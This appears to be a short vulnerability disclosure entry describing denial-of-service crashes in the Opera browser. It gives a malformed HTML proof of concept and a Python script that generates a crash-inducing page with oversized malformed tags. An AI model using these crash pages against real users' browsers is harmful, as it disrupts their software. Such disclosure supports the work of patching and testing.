Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities

Opera Web Browser Multiple Malformed HTML Parsing Denial Of Service Vulnerabilities

The following examples will cause the browser to crash:

The first example is malformed HTML:

<html><head></head><body><bdo>A<bgsound style="margin:-99;">A<hr>A<hr></body></html>

The second example is python code to create malformed HTML:

html = open("opera.html", "w")
html.write("<html style=\"content: url(0);\">\n")
html.write("<head></head>\n")
buff1 = 'A'*32499
html.write("<bodyA>\n"+buff1+"\n")
buff2 = 'B'*153
html.write("<u "+buff2+">\n")
html.write("</body></html>")
html.close()